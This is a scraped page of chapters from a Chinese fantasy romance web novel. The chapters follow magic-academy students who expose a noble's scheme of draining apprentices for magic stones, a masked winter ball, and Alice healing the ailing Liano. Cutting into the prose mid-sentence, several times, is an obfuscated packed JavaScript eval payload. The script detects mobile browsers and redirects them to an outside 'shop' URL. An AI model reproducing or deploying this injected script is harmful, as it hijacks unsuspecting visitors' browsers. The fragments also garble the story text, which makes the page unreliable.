d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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于是她毫无防备地向前。 然后,有什么东西一瞬间亮起朦胧的光芒,仿佛是进入秘境的预兆。 下一刻,她的身形一顿,随后猛然栽倒在地面。 书籍洒落一地,杂乱的遮盖之下,法阵的光芒仍在若隐若现。 这不是寻常的汇聚元素的法阵,而是反过来,好像在从法阵的中央夺取什么,再将其固定下来,变为一块冷硬的、泛着光泽的魔石。 片刻之后,法阵的光芒如同能量耗尽一般逐渐消失,魔石则作为战利品,被等候已久的猎人拾取,等待着被送往更高处的猎人手中。 “啧,忙了半天只有一小块土元素,魔力量这么低,够她晕几天的了。” 俯身捡拾魔石的学徒鄙夷着在他认知里低劣的土元素属性。 那块魔石的棱角中好像掺杂着一点闪烁的风元素和火元素的微光,他没有注意。 “别磨蹭了!一会儿被发现了!” “有什么好怕的,就说是我们发现她晕倒在这儿,别人没有证据又能说什么?我们还落个英雄救美的名头呢……” 两人走远,身后的地面上,倒下的学徒依旧在杂乱书本的遮盖下没有任何动作。 31. 替他记住愤怒 “可以了,莫妮卡,他们已经走远了。” 爱丽丝在学院一角的塔楼上远眺,凝神观察着什么的同时轻声低语。 她肩头的小鸟随即振翅飞起,从塔楼滑翔而下,降至被石柱撑起的走廊,最后在走廊拐角处倒地的学徒的兜帽上啄了啄。 那个倒地的身影微微动了动,眯着眼睛从兜帽的缝隙里偷偷张望了一下,才摸了摸脑袋站了起来,露出一副心有余悸的神色。 爱丽丝远远看着会心一笑,她低下头,将一只手握住呢喃了一句什么,再张开手时,又一只风元素的小鸟已经在她的手心聆听低语。 “他们往中庭去了,特里迪克可能就在那个方向。” “有人来了。” 身后的利亚诺突然出声,声音里带着一丝紧绷。 他一直在爱丽丝身后负责警戒,此时却听到数个隐约的脚步正在靠近。 他们最好不要被任何人发现,即使来者并不一定是特里迪克的眼线。因为如果任意一点风声导致特里迪克对他们的行动有所察觉,都可能会留给他消灭证据的时间。 爱丽丝并未因靠近的脚步而慌乱。 她先放飞手中的小鸟,让它能够按计划通知奥斯维德和伊莎贝拉等人,然后拉过利亚诺藏在隐秘的角落,又唤出早已有所准备的魔法。 “隐藏。” 眼前出现幻觉般的波纹,然后又很快消失不见。 一瞬间的变换中,水元素已经立起幻觉的屏障遮盖他们的身影,少量的土元素也加入其中,使得这个角落变得比往常更加不引人注目。 脚步声所属的几个学徒闲聊着经过,就像预料的一样并未对他们投来任何目光。于是爱丽丝回过头与利亚诺对视一眼,分享着诸如躲猫猫成功时的喜悦。 她亮晶晶的眼睛里除了施法的专注,似乎还闪着一丝恶作剧般调皮的光芒。 利亚诺记不清他是第几次因为她的双眼而出神了。 只不过这次,他找到一个更为妥当的理由:爱丽丝的魔法又变厉害了。 不同魔法的转瞬切换、不同元素的巧妙融合,这对于多元素属性的持有者来说几乎是终生的课题,却在她的施法之下自然而然地流淌。 虽然即便在魔法体受到治疗后,他的施法依旧平平无奇,但是将此前的全部人生奉献给魔法的他,又怎么会看不出爱丽丝魔法天赋的宝贵。 他毫不怀疑,爱丽丝会成为杰出的魔法师。 而到了那时……她还会需要他吗? ……他还能留在她身边吗? “爱丽丝大人!” 原本身处走廊拐角处的莫妮卡已经按照计划寻来塔楼,爱丽丝立刻解除了魔法与她汇合。 “辛苦你啦,莫妮卡!没有哪里不舒服吧?” “完全没问题!”莫妮卡充满活力地回复,“他们布下的魔药和法阵都被成功抵消了,这下最后一次也顺利结束了!不过话说回来……” 爱丽丝和利亚诺几乎要因她的这句话语而屏息,差点以为出现了什么意外情况,却见到莫妮卡交握着双手闭上眼睛。 “爱丽丝大人的风元素魔法不论看几遍都觉得好可爱啊!被小小的鸟喙啄到脑袋的感觉简直是无上的……” “那个……莫妮卡……?” 爱丽丝有些不知如何反应,虽然可以理解她对于风元素小鸟的喜爱,但现在是感叹这个的时候吗? 她视线飘忽地试图寻找些借口分散莫妮卡的注意,就看见远处一线红色的光芒冲上天空,正是靠近学院中庭的位置。 “是伊莎贝拉的信号!” 这说明那里的同伴已经发现了特里迪克,即将围堵他们交易魔石的现场,这是这次行动的最后环节。 “走吧,我们也过去!” “嗯!” * “特、特里迪克大人!” 两个学徒面色铁青,躲躲藏藏、跌跌撞撞地来到特里迪克面前。 他们从半路就觉得不对劲,可是却怎么也甩不掉身后的尾随者,只好连滚带爬地赶来向他们的靠山求助,献上魔石以求获得庇护。 特里迪克却咬牙切齿。 事情败露被人尾随也就算了,还敢把人引过来! “看你们干了什么好事!都给我滚开!” 他粗暴地推开那两个成事不足败事有余的学徒,转身就想离开。 他身旁的其他侍从学徒也纷纷紧张起来,试图在事发之前撇清关系溜之大吉。 但是不远处一束冲上天空的红色光芒打破了最后的平静,好像一声号角,无数的脚步朝着这个方向前进而来。 爱丽丝三人赶到中庭时,那里已是一幅混乱的景象。 一定是特里迪克首先发动了火元素攻击魔法,又被奥斯维德阵营的施法扑灭,中庭被雪水浸润的草木受到波及,升起黑乎乎的滚滚浓烟。 空中仍持续不断地飞舞着魔法的影迹,数个胡乱释放的魔法又被相对应的防护魔法化解。 学院中庭简直在这种情形下乱成一团,纠缠的两方势力一方向外逃跑躲藏,另一方则向内围攻。 如此动静不可能不引起注意,更多的学徒根本不知道发生了什么,他们有的讶异躲远,有的在远处饶有兴致地旁观。 这也在奥斯维德此前的计划之中,为了保证学院的正常秩序和无关人员的安全,他们最好将事态限制在可控范围内。 于是爱丽丝也在稍远处与莫妮卡一同立起土元素的防护屏障,避免魔法意外波及他人,然后又和利亚诺一起施展水元素魔法,保全学院中可能受到影响的建筑和草木。 但是她一直在悄悄注意着中庭的状况,直到寻得那个暗红发色的身影,她即刻起身,跑出屏障就要向那里冲过去。 “爱丽丝!” 利亚诺差点没反应过来。 他很少看见爱丽丝冲动行事,眼下堪堪才拉住她的手腕阻止她继续向前。 即使隐约能明白爱丽丝想要上去动手的原因,但是他依旧不愿意爱丽丝参与这场混战。 奥斯维德在行动前就规定了魔法的限度,他们不能以暴制暴,更不能失去质问特里迪克的道德制高点。 因此所有的攻击魔法几乎都被禁止,他们只能用魔法保护自己或者不造成伤害地束缚敌人。 与此同时,特里迪克一方却不会手软,而利亚诺不愿意爱丽丝涉险。 但是…… “我很生气,利亚诺。” 爱丽丝回过头,平静地看着他,发亮的眼神却比平时更加灼人。 “他伤害了你那么久,让你承受了那么多……”她觉得痛苦一词不足以形容那些,因此顿了一下,“我非常非常生气。” 爱丽丝的语气是平静的,她甚至没有完全敛去平日那般柔和的目光。 但她的眼中却因坚持着什么必须要做的事情,而混合出一种令人忘记呼吸的色彩。 因为契约、身份、没有其他选择的命运,利亚诺曾经确实是格罗姆康特的所有物。 所以哪怕学徒晕倒和夺取魔石的事件被揭露,特里迪克以及格罗姆康特领主一族对他的所作所为也无法被审判。 利亚诺早已接受,当奥斯维德向他提出这一点时,他没有任何不满。 他早就把命运强加的熬人的苦涩全都无声地吞下,决定只去珍惜现在眼前的温暖。 但是,有一个人不愿意他如此沉默。 即使他面对特里迪克时已经被折磨到只剩下本能的恐惧,她会替他记住应有的怒意,哪怕只是在极为有限的范围里。 “所以……偷偷给他添些麻烦总没问题。” 爱丽丝的双眼映出他的身影,醇厚的琥珀色仿佛是在他周身镀上的坚实的护盾。 她捏了捏他的手,甚至轻轻微笑表示自己仍是理智和冷静的,然后利落地转头离去,只留给他一个背影。 利亚诺在原地愣神。 是的,这是不合时宜的。 可是,一旦意识到她眼中的那些色彩是因他而起…… 胸腔里有什么正在疯狂跳动,利亚诺好像从未如此鲜明地体会到自己的生命。 * “到此为止!” 奥斯维德的佩剑重重砸在地面,一圈魔力顿时扩散,镇住了中庭里胡闹般的混战。 终于停下动作的众人里,特里迪克显得格外灰头土脸。 他根本看不清是谁,在混战里绊倒他的脚步、烧坏他的外袍、熏黑他的脸孔,和那些他根本不屑一顾的低等的侍从、平庸无能的学徒比起来,现在的他才更像是个劣等奴仆。 向来张扬跋扈的特里迪克不曾有过这样的狼狈,周围隐约发笑的声音气得他脸色发紫,奥斯维德却还要在这时装作毫不知情地询问。 “不好意思,有人向我汇报丢失了重要的魔石,看样子她的同伴们情绪稍稍激动了一些。但是你又为什么会受此波及呢,特里迪克?” 他明知故问,“对此你有什么头绪吗?” “呵!” 特里迪克因为他的装傻充愣冷笑一声,拿出早已准备好的理由将他的侍从推出抵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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好在特里迪克并未再做出什么行动。 他只是不怀好意地瞥了利亚诺一眼,就裹起破烂的外袍,跟随奥斯维德离开了。 * “哈哈,把魔石变成魔法道具,真是有意思的想法!”靠窗的魔法师吹了声口哨,“这个世代的学徒还挺能干的?” “恕我不明白这有什么好笑的,佩里教授!要不是今天他们闹出来的动静,我都不知道学院里竟然发生了这种恶劣的事情!”史宾格教授气得在会议室里来回踱步。 芙蕾妮教授一脸担忧,霍勒斯教授和匡茨教授则是沉默,最后还是佩里教授接了话。 “有什么区别?反正我们不能插手不是吗?这可是遵循了副院长的管理方针!” 他似是无所谓的态度引起了史宾格教授更强烈的不满,“你怎么能……” “好了好了,史宾格教授,我想奥斯汀副院长会仔细考虑这件事的。” 希尔教授照例充当了调和的角色。 “还有佩里教授你也是,也许可以试着不止在冬季舞会的前夕出现?”她温和地调侃,“其他时候的教师会议同样欢迎你的参与,这样你就会知道这个世代有天赋的孩子其实相当多。” 佩里教授却似乎并不领情。 “有天赋又能怎么样呢?最有天赋的人到头来还不是——” “佩里!快住口!” 温妮菲德教授皱着眉叫出他的名字,霍勒斯教授差点拍着桌子站起来,更多的教授则是对他怒目而视。 会议室顿时陷入安静,奥斯汀副院长的方向更是连空气都凝固了。 佩里教授只好举起双手以示无辜。 “好吧,好吧,看来我们还是来聊聊冬季的假面舞会……您说呢,奥斯汀副院长?还是您想继续说说今天学徒们的事?” 奥斯汀副院长沉默地看着他。 “……事情解决就行了。” 她没有发怒,甚至表面上看不出任何情绪波动,只是在片刻之后面无表情地表示不再参与他们的谈话,独自一人离开了教师们的会议室。 白雪开始覆盖大地,冬季的学院显得异常寂寥。 行走在白色石柱的走廊上,奥斯汀副院长一瞬间感觉视线边缘好像闪过了什么。 她停住脚步,却又并未发现任何异常,于是便转身离去。 32. 在舞会选择他 砰的一声,特里迪克狠狠砸上门,在宿舍里暴躁地来回踱步。 “搞什么……一个两个都把我当成马戏团的猴子耍吗?!” 书桌在他的重拳之下震颤了一下,木椅被踢倒,但这些都并不会对他的处境产生任何实质性的影响。 他脸色阴沉地喘着粗气。 那场闹剧不过几天时间,特里迪克的状态就发生了巨变,向来高调的行事作风似乎更让他成为众矢之的。 一旦出现在他人视线之中,就会有奥斯维德的眼线暗中观察,不相干的学徒则在他背后窃窃私语,似乎在嘲笑他那时的狼狈丑态。 他的出行也不再有侍从的学徒鞍前马后,因为那些学徒也同样处在被监视的状态,而且因为他毫不犹豫的出卖行为,他们仿佛也试图与他保持距离争取撇清关系。 依照他和奥斯维德的单独谈话,他的行径不会在大庭广众之下被明确揭穿,但实际上,已经有风言风语将此前发生的学徒晕倒事件与他联系在一起。 和这件事相关的所有物证,画了法阵的羊皮纸、所有的魔药和魔药空瓶、以及剩余的魔石,都被收走移交给领主们进行沟通,最终才能决定对他的处置。 最坏的结果,他在魔法学院的学习资格可能会受到影响,那么,他也许就无法继续获得元素的认可,也无法在最后取得魔法师的身份。 不过…… “科特兹的计划就快要成功了……到那个时候,管他什么学院的课程什么元素的认可……” 特里迪克狞笑着自言自语。 “……一切都要为我让步!” * “亲爱的朋友们,经历了一整年的学习和工作,我们终于迎来这个激动人心的时刻——冬季假面舞会!” 这一晚的学院与其他时候大不相同,四处都洋溢着轻松愉悦的气氛。 偌大的礼堂里,每一处的壁炉都烧得又红又旺,半空中漂浮着带有幻觉属性的各种装饰,所有的教授和学徒也都换上了舞会的礼服。 “是的!不再穿着朴素的长袍或兜帽,而是各式各样华丽、精美或是奇妙的装扮,以及最重要的——假面!” 指导所有学徒为假面施展魔法的教授正在倾情介绍这一魔法道具的美妙之处。 “我想你们一定都有关系尴尬或不愿理会的人吧,一年一度舞会的好心情可不能因此被破坏!想想看,大家同处一场舞会,但是却可以通过魔法道具来隐藏身份,只透露给想要被认出的人!多么有意思的场面!” “我说,爱丽丝……这位教授到底在兴奋些什么?” 伊莎贝拉不解地皱眉。 可以根据所面对的对象调整透明程度的魔法道具好像从奇怪的方向被解读了,而且总觉得他的话语中有些夹带着个人恩怨的错觉。 她的表情因为半遮脸面具的遮挡而显得模糊,但仍然可以被爱丽丝看清,因为她已将爱丽丝纳入不需隐藏身份的对象范围。 “啊,是佩里教授……” 爱丽丝同样呆愣地眨了眨眼,她也佩戴了和伊莎贝拉类似的半面具,“他在他的精妙魔法道具发明课上也很激动来着,但是今天似乎格外的……大概是真的对假面舞会很着迷吧?” 爱丽丝知道佩里教授很痴迷魔法道具,图书馆研讨区的声音屏蔽道具就是他设置的。 但学徒们挂坠凭证的出现年代好像更为久远,因此爱丽丝没能在他的课上探得其中的奥秘。 不过,佩里教授啰嗦的长篇大论显然已经引起舞会众人的不满,他身后的教授们也露出无可奈何的神情。 “那就让我们尽情地……等等,还有最后一句!” 舞会的乐手已在其他教授的指示下开始奏乐,音乐声于是淹没了他的声音,缓缓流淌在学院礼堂之中。 爱丽丝和伊莎贝拉相视一笑,缓步向前拉起对方的手开始了第一支舞。 悠扬的乐曲节奏舒缓,礼堂中大多都是女生们在和好友共舞,各色的发带和裙摆飘逸交织,在半空中亲密而友好地碰撞。 “总算是结束了!感觉这个学期好漫长啊——” 伊莎贝拉在从容的舞蹈间叹息着细数近期的事件,“都是特里迪克那个混蛋害得我们忙个不停,先是制定策略研制魔法,然后又要假装蒙在鼓里放出诱饵,最后还得在中庭来一场混战!” 爱丽丝看着她无奈的样子嘻嘻地笑,“辛苦啦!多亏了伊莎贝拉的魔法才能最后指认他的恶行!” “也不光是我啦,”伊莎贝拉的语气柔和下来,“制作昏迷和幻觉魔药的解药、用提前储存的魔石抵消法阵、还有这个用魔石锁定犯人的设想……学生组织的大家也都很厉害。” 是他们的群策群力才使得行动成功,终于解决了这个困扰他们很久的学徒晕倒和消耗魔力的事件。 “嗯!”爱丽丝眉眼弯弯,“能和大家一起学习真的很高兴!” 一曲结束,再度奏响的音乐变得更加深情而浪漫。 礼堂中的众人交谈着更换舞伴,爱丽丝顺势把伊莎贝拉牵到奥斯维德身边,对方也极具风度地上前行礼做出共舞的邀请。 爱丽丝趁机偷偷观察着两人,伊莎贝拉罕见地露出了些许羞涩的神情,又在几秒后大方地直视奥斯维德,奥斯维德则是一直专注地看着她,不失礼数,却绝不能说是没有热情。 这两个人一定没问题了吧! 爱丽丝退到礼堂边缘,放任自己扬起嘴角,静静欣赏他们的舞蹈。 “爱丽丝大人!” 莫妮卡在此时兴奋地凑到她身边,并因为自己能够透过面具认出她而欢呼雀跃,这表明她至少被爱丽丝置于好友之列。 “您辛苦了爱丽丝大人!能够在这学期与您共同探讨魔法、在行动中看到您施展魔法的身姿,我简直再无遗憾了……” 爱丽丝不好意思地摸摸脸颊,“莫妮卡也很厉害呀!踩中法阵晕倒的演技非常成功!” “嗨呀,只是碰巧在最后一次行动里做了诱饵而已。”莫妮卡顿时摇着头摆摆手,“大家早就在之前的诱饵行动中替我试验过计划的可行性了,我根本就帮不上什么。” “怎么会呢,莫妮卡的魔法有比之前进步很多喔!在中庭施展的土元素护盾也很棒吧!” 爱丽丝还记得她之前在秘境时连这类魔法都并不擅长,而那天在中庭已经可以熟练地施展护盾控制场面了。 “呜呜爱丽丝大人,您真的是我魔法道路上的明灯!” 爱丽丝稍感为难地接受着莫妮卡过于夸张的感谢,照例试图寻找着其他话题,“对啦!冬季假期时梅尔维尔会举办小型聚餐,今年你要不要也一起来玩?” 莫妮卡一瞬间眼睛都亮了,止不住地点头。 音乐不知何时变为了欢快的舞曲,供大家集体游戏。 莫妮卡满眼期待地邀请,“爱丽丝大人,一起跳舞吧?” “嗯!”爱丽丝也欣然同意。 这是一首活泼的交际舞,礼堂的众人排成几列,跟随音乐轻巧跳动的同时变换着队形交换舞伴,所有人几乎都与相识的同伴打上了招呼,遇上看不透假面的陌生人也友好地共舞,倒是真应了佩里教授所言。 爱丽丝毫不怀疑有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17176039|195516||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不少教授也参与在舞蹈之中,舞会的气氛在此达到高潮,所有人不约而同地爆发出掌声和欢呼。 这曲结束,乐队的旋律又舒缓下来。 于是不少学徒三三两两地走向礼堂边缘交谈和休息,剩下一些则留在中央继续跳舞。 爱丽丝也轻轻喘着气,平复着稍有些急促的呼吸。 伊莎贝拉见到了、奥斯维德见到了、莫妮卡也见到了,还有…… 她漫步张望了片刻,在礼堂的角落里发现一个身影。 他孑然一身,好像已经等待了很久很久,但当她投去目光的同时,却又立刻有些局促不安地僵硬起来。 爱丽丝认出那是利亚诺,他的面具不对她生效。 利亚诺抿着嘴唇,按耐着不受控制的心跳等待爱丽丝走过来。 他不适应这样的场合,本想看她一眼就离开,却被她明媚的表情吸引着挪不开眼,一直留到现在。 他知道这有多难。 他清楚自己原本是什么模样。 痛了太久,被磋磨了太久,他的心里早就只剩下警惕和疏离,在任何时候、对任何人,都只是在强撑着发抖。 可是爱丽丝却走进他的世界,将他拉出那个阴冷的地牢,带他看到更广阔的风景,结识可以毫无芥蒂地与他讨论魔法的同伴…… 他早就别无所求。 但是现在,至少今天……他只想被她一个人看见。 就算她的眼里不是只有他,他也希望陪伴在她的身边。 他只看着她就够了。 爱丽丝带着笑意来到他面前。 仿佛一直都清楚他不擅长这样的场合,她轻轻牵起他的手,带着他往露台走去。 身后的音乐声渐渐弱了,直到只能隐约听见,取而代之的是稍带些凛冽的夜风,空中的雪花好像也在翩翩起舞。 利亚诺顺从地被爱丽丝带动脚步,只是呆呆地看着她的背影,直到她回过头来。 “要跳舞吗,利亚诺?” 他看着爱丽丝的眼睛挪不开视线。 他想说他不会,想说他只要和她一起待着就好,哪怕一小会儿都可以,他已经足够满足。 但是爱丽丝已经松开了他的手腕,优雅地拎着裙摆行了个礼,摆出邀请的姿势。 于是,利亚诺生涩地、却又生不出一丝抗拒地,顺应了她的意愿。 冬日的夜色里,他们将彼此望进眼中,在隐约的乐声里任凭雪花落在肩头。 “利亚诺的手……今天是暖和和的呢,好高兴……” 爱丽丝轻声细语,温柔的目光像蜂蜜一样甜。 她真的很高兴,因为利亚诺的手总是冷冰冰的让人心疼,忍着痛的时候会更加冰冷颤抖,好像怎么也捂不热。 所以刚入冬时她担心得要命,总要偷偷瞄他的脸色、悄悄摸摸他的手,看看他是不是在冷或者在疼,哪怕他会在睫毛轻颤之后投来询问的目光也乐此不疲。 但是现在,利亚诺的手终于温暖起来,让她的心里也软软的,好像那些寒冷和疼痛真的离他远去了。 “……嗯。” 利亚诺不知道该怎么回应。 他明白爱丽丝的所想,明白她对自己温柔的牵挂,因为那实在太过于明显。 每天陪着他用餐,用厚实的围巾包裹他,为了他挑选炉火边温暖的座位……太过于温暖,让他再也不想离开。 是的,他想在她身边。 利亚诺知道今夜自己的心跳是为何而鼓动。 但是他用尽全部的勇气,也只不过是多花了一些力量回握住她的手。 33. 倾听他、治愈他 “噢,亲爱的!谢谢你,我的好姑娘。” “举手之劳,庞普太太。” 伊莎贝拉在一个拥抱之后为庞普夫人递上猎好的鸡,算作她为这次聚餐的贡献。 跟着她一起回来的莫妮卡也兴奋极了,似乎是第一次看到传说中罗斯戴尔的狩猎场面。 她手舞足蹈地描绘着伊莎贝拉方才的英姿,说得伊莎贝拉本人都有些不好意思了,旁边的奥斯维德和爱丽丝看得忍不住要笑。 “失陪一会儿,孩子们,我要先去把烤鸡处理了。” 聚餐前的准备总是格外繁忙。 眼下的梅尔维尔,爱琳娜和克莱因还有些事务要处理,亚伯大叔忙着给屋子里的壁炉添柴,安娜已经在布置餐桌,庞普夫人这会儿也拎上篮子准备离开。 爱丽丝挥挥手让她放心过去,来回看了看朋友们,笑眯眯地提议,“我带大家来做魔法点心!” 伊莎贝拉对此已经轻车熟路,也并不吝啬于在这种趣事上运用魔法。 于是她接过爱丽丝准备好的材料,混合均匀后倒入模具里,然后拿出魔杖极为认真地调整着火候,不一会儿就闻到甜丝丝的香味,她将其命名为火焰焦糖布丁。 莫妮卡迫不及待地想要品尝,奥斯维德似乎不准备动手,只是在一旁饶有兴致地观看,而爱丽丝,伊莎贝拉几乎不用看就知道爱丽丝想要做什么。 只见她按照人数拿出好几个玻璃高脚杯摆放在桌面上,刚准备施法,却又停住了。 她眨了眨眼抬起头,将目光投向始终安静地看着他们玩闹的利亚诺。 对上视线的同时,对方的眼里立刻带上了无措和紧张,仿佛在说他只要在旁边安静地看着就好,就已经足够开心了。 但是爱丽丝可不会让他如愿。 于是她捧着玻璃杯凑到利亚诺跟前,笑嘻嘻地请求。 “我想要冰沙,拜托拜托~” 用水元素做出冰沙,再淋上果酱,就是完美的冰沙甜点。 她自己完全可以完成,却偏偏要拉上利亚诺,利亚诺又怎么会不明白她的所想。 这样简单的魔法不会给他带来任何负担,而他却能拥有自己做出的、可以与他人分享的点心。 利亚诺在她期待的眼神里无法拒绝地伸出手。 冰沙从朝下的掌心落入杯中,爱丽丝看得投入,就像在看一场美丽的雪。 她轻声地、似是自言自语地感叹,“好美的魔法。” 很干净,很漂亮,就像他给人的感觉一样,就像第一次见到他时那样。 施法者的指尖却因这句话泛起一丝丝不明显的轻颤。 利亚诺抿了抿嘴唇,才生疏地回应,“只是……最普通的魔法罢了……” 爱丽丝却抬起头,带着笑意看着他。 她的语气不是在争辩,而是再平和不过地表达自己的观点。 “是很美的魔法,我很喜欢。” * 会客厅的壁炉摇曳着火光,在宁静的冬夜中偶尔发出木柴燃烧的响声,显得夜晚更加安静。 参与聚餐的客人们陆续离开,梅尔维尔也逐渐陷入沉寂。 爱丽丝能感觉到今晚大家都玩得很开心,就连利亚诺也一样,餐桌上相视的时候,她能从他的眼里看到笑意。 可是这会儿捧着烛台四处张望,她却没有看见他的身影。 明明刚才送别大家的时候还在的……是累了回去休息了吗? 心里空落落的有些不安,她向利亚诺的房间走去。 如果他还没睡的话,他们可以再聊一会儿天,因为热闹过后的安静总是令人有些失落,但是和利亚诺在一起的时候,她总能体会到一种安宁又平和的快乐。 所以她现在有点想见到他了。 利亚诺的房门微微留着一条细缝,好像匆忙之间没有关好一般,透出隐隐的壁炉的光亮。 爱丽丝缓步走近,却发现—— “利亚诺!” 他在呕吐。 弓着身体跪在地上,一手捂住口鼻,一手死死掐着腹部,却仍然止不住地呕吐。 听到爱丽丝的声音,他的身体狠狠颤抖了一下,绝望抬起的双眼已被呕吐感逼得泛红。 他试图去压抑身体的不适,可是不出几秒就忍不住地再次低下头去,单薄的背脊又一次颤抖,身下的地毯上已是藏不住的脏污。 别过来,别过来…… 太脏了,他不想让她看见,可是他克制不住,他甚至连避开她的力气都没有了…… 不要…… “利亚诺……没事,没事……” 爱丽丝立刻上前搂住他,顿时就感受到他的紧绷和抵抗,但她稍带了些强硬地坚持着,支撑住他冰冷颤抖的身体,轻声地安抚他。 她知道利亚诺不希望给她添麻烦,但她更担心他所承受的病痛,并且深深地因没有照顾到他身体状况而自责。 是从什么时候开始的?晚餐的时候应该还是好好的,晚餐后大家一起聊天时他就在忍着了吗?他最擅长逼自己忍耐,是一直忍到送走客人们才躲回来的吗? 可是,这又怎么可能是能忍耐得住的…… “别忍着,利亚诺,没关系的……吐出来会舒服些,不要紧的……” 狼狈的呕吐不肯平息,一遍遍碾过利亚诺的身体。 爱丽丝心疼地轻拍他的后背,好让他在呕吐的间隙能够艰难地喘上一口气,又施展起清洁的魔法清理地毯上的污秽,想要哪怕减轻一点他心里的压力。 她熟悉利亚诺忍痛的样子,这么狠心地掐着腹部,肯定是胃也在疼。 于是她将手缓缓伸进他的手之下,隔开他那只丝毫不怜惜自己的手,轻轻护在他的胃部,果然感觉到抽动的冷硬的痉挛。 爱丽丝想到了。 晚餐前大家一起吃了冰沙甜点,晚餐的餐桌上则是油水充足的烤鸡,对于健康的人来说没有什么,但肠胃娇弱的人却支持不住这样冰冷和油腻的接连刺激。 等到磨人的呕吐终于停歇,利亚诺却仍在痉挛的绞痛中止不住地颤抖,他咬牙忍耐着,直到那些痛也在爱丽丝耐心的轻揉下渐渐缓解,才能够倚靠着她破碎地喘息。 “对不起,利亚诺……是我没注意……” 爱丽丝的轻语里带着愧疚和心痛,利亚诺却轻轻摇头。 是他忘记了。 因为被她照顾得太好而忘记那些沉疴旧疾了。 明明他熬了那么多次,熬了那么久,在黑暗里无数次咬着牙独自忍过胃部痉挛的痛苦…… 居然就这么忘记了。 好笨。 “好些了吗?要不要喝口热汤?” 片刻之后,爱丽丝感受到利亚诺在耳边的喘息平缓下来,身体也不再因为捱着痛而颤抖了。 但他好像暂时没有力气说话,仍然只是轻轻摇头,碎发毛绒绒地蹭在她的肩膀。 “嗯,那先休息一下,别着急。” 爱丽丝稍稍调整了一下位置,让利亚诺能够靠得更舒服些,然后用双臂妥帖地拥抱住他虚弱的身体,帮他分担疲惫和重量。 她安抚般地轻揉他的脑袋和后背,感受到他的呼吸一滞,然后整个身体慢慢放松下来,真正地放松下来。 爱丽丝的心里又酸又软。 他一言不发地捱过所有病痛,在难熬的时候也依然紧绷着神经,直到现在才愿意放过那个可能会给她添麻烦的自己……她不想让利亚诺再经历这些了。 于是她犹豫地开口,“利亚诺……我帮你用治愈魔法好吗?” 利亚诺的胃部并非完全调养康复了,才会因为食物的刺激反应这么强烈。 这么多年的苛待,那些一直折磨他的病痛不借助魔法很难轻易消减。 但是,他却又最抵触魔法在体内运作的感觉…… 这一次,利亚诺沉默地埋在爱丽 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即使知道触碰他的是爱丽丝,施加在躯体上的魔法依旧让利亚诺难耐地想要蜷缩起来,他控住不住地想去抓住爱丽丝的衣料,双手却没有一丝力量。 治愈魔法随着腹部的轻揉逐渐深入,每进一寸都是猛然的颤抖,这太过煎熬,利亚诺的睫毛上已是破碎的泪珠。 他艰难地、胡乱地喘息,却又在此时忍耐着开口。 “……那些魔力……呃……” 他的眼神有些涣散,仿佛又进入了无数个无法逃脱的噩梦,但是好像又知道是她在自己身边。 “那些折磨我的魔力……真的太疼了……我有时候……实在熬不住……” 他曾做过违心的事,他曾因为熬不过痛苦而抛弃尊严、卑微地乞求片刻解脱,他曾软弱地颤抖哭求、求那些痛苦的魔法快些结束、哪怕早一秒放过他。 要他承认这些,无异于揭开他最脆弱的伤疤,暴露出最柔软而不堪触碰的地方,再主动去承受细细的摩挲。 利亚诺的声音颤抖得厉害,但即便如此也要诉说,就好像她是唯一能倾听自己忏悔的神明。 “所以我其实一直……很害怕……很害怕魔法……” 多么神奇的存在,是他活下去的唯一支柱,却也是让他崩溃的痛苦的来源。 他只有死死咬住这样的信念才能熬过那些折磨,但又无时无刻不在与它共存的恐惧里颤抖。 他对魔法的情感就是这样扭曲而不堪的。 所以……很美的魔法?让她喜欢的魔法? 他真的值得吗? 利亚诺拷问自己,直到遍体鳞伤。 但是,他的神明懂得他的辛苦。 爱丽丝轻轻搂着他,将治愈的魔力温柔地洒在他隐秘的伤口上。 她只为他的自省而心痛,一遍又一遍轻声而耐心地安抚。 “已经不会再疼了,利亚诺……别怕,别怕……” “呜……” 治愈之力渗透进最深处的病痛,在敏感的娇嫩处一遍遍荡涤。 利亚诺虚脱地蜷缩在她怀里,小声呜咽着流下脆弱的眼泪。 * “爱丽丝小姐……?” 安娜寻到房间里的时候,爱丽丝和利亚诺已经睡着了。 壁炉的微光映着两人的脸庞,他们背靠着床铺坐在地毯上,肩并着肩,脑袋也相互靠着,像两只依偎在一起的小动物。 安娜还记得利亚诺刚被救回来时那种警惕疏离的姿态,现在已经变得相当柔软了,尤其是看着爱丽丝小姐的时候。 小姐也是,从没见她对谁给予这样特殊的关心。 安娜没有喊醒他们,而是从床铺上拿下毛毯,轻轻盖在他们身上。 转身离开时,她的眼神却暗了暗。 难道真的只能……像克莱因所说的那样吗? 34. 在夜谈时拥抱他 利亚诺一动也不敢动。 爱丽丝柔软的发丝蹭着他的脸颊,均匀的呼吸也拂过他的面庞,就这样毫无防备地靠在他身边沉睡。 他无法形容在这种状态下醒来时的感受,身上是温暖的,被她靠着的那一侧尤其暖,胸口好像被柔软的羽毛拂过一般又酥又麻。 他不敢沉溺于此,可是又不愿打搅爱丽丝,于是僵着身体、抿着嘴唇消化着腰背的酸痛,保持着不去挪动分毫,直到爱丽丝轻轻动了动。 “嗯……?” 爱丽丝朦朦胧胧地睁开眼,一时不知身在何处。 